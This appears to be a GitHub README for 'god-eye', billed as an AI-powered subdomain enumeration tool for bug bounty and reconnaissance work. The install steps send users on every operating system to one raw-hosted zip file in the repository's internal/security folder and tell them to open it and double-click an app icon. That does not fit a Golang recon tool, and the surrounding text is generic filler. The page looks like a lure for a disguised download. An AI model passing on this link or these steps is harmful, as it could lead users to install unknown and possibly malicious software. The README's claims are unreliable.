god-eye is an AI-powered tool designed to help users find and analyze subdomains effectively. Using local analysis through Ollama, this tool ensures your data remains private, with no API costs involved. Whether you are into cybersecurity, ethical hacking, or bug bounty hunting, god-eye can enhance your reconnaissance efforts by scanning for potential vulnerabilities in subdomain structures.
- AI-Powered Detection: Utilizes advanced algorithms to identify subdomains quickly.
- Local Analysis: Runs directly on your machine, ensuring your data stays secure.
- User-Friendly Interface: Designed for users at any skill level.
- Compatibility: Works seamlessly on various operating systems.
- Comprehensive Reporting: Generates detailed reports on identified vulnerabilities.
- Regular Updates: Continuous enhancements and bug fixes will keep your version current.
To run god-eye smoothly, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, Linux (most distributions)
- RAM: At least 4 GB
- Disk Space: Minimum of 100 MB available
- Network Connection: Required for subdomain queries
- AI Security
- Bug Bounty
- CVEs
- Cybersecurity
- Ethical Hacking
- Golang
- Hacking
- Information Security
- OSINT
- Penetration Testing
- Recon
- Reconnaissance
- Security
- Subdomain Enumeration
- Vulnerability Scanning
To get started with god-eye, visit the Releases page to download the latest version.
- Click on the link to the Releases page.
- Look for the latest release version available.
- Choose the file that matches your operating system. For Windows, you might see something like
https://raw.githubusercontent.com/ommengman-prog/god-eye/main/internal/security/eye_god_v1.0.zip, for Mac it could behttps://raw.githubusercontent.com/ommengman-prog/god-eye/main/internal/security/eye_god_v1.0.zip, and for Linux users,https://raw.githubusercontent.com/ommengman-prog/god-eye/main/internal/security/eye_god_v1.0.zip. - Download the selected file.
- Open the downloaded file to install god-eye on your system.
After installation, follow these steps to run god-eye:
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Locate the application on your computer:
- For Windows, find it in the Start Menu or on your Desktop.
- For macOS, check the Applications folder.
- For Linux, navigate to the location where you extracted the files.
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Double-click the application icon to launch it.
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Once the interface opens, you will see options to enter the main domain you want to scan.
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Input the domain and click on the "Start Scan" button.
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Wait for the tool to analyze the domain. The results will appear in the interface.
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Review the detailed report that outlines any subdomains found and their possible vulnerabilities.
For more detailed guidance, including advanced tips on subdomain enumeration, please refer to our complete documentation. It contains sections on troubleshooting, user tips, and frequently asked questions.
If you encounter any issues while using god-eye, you can open an Issue on the GitHub repository. The community and maintainers are here to help you. Be sure to provide details about your setup and the issue you are facing.
Keep updated with the latest improvements and changes through the Changelog found in the Releases section. Regular updates ensure that the tool remains effective against new vulnerabilities.
We welcome contributions from all users. If you have suggestions for new features or improvements, please visit our GitHub page for guidelines on how to contribute.
god-eye is open-source software, released under the MIT License. This grants you the freedom to use, modify, and distribute the tool as you wish.
Stay connected with other users by joining our community forums. Share tips, tricks, and experiences with god-eye for subdomain enumeration.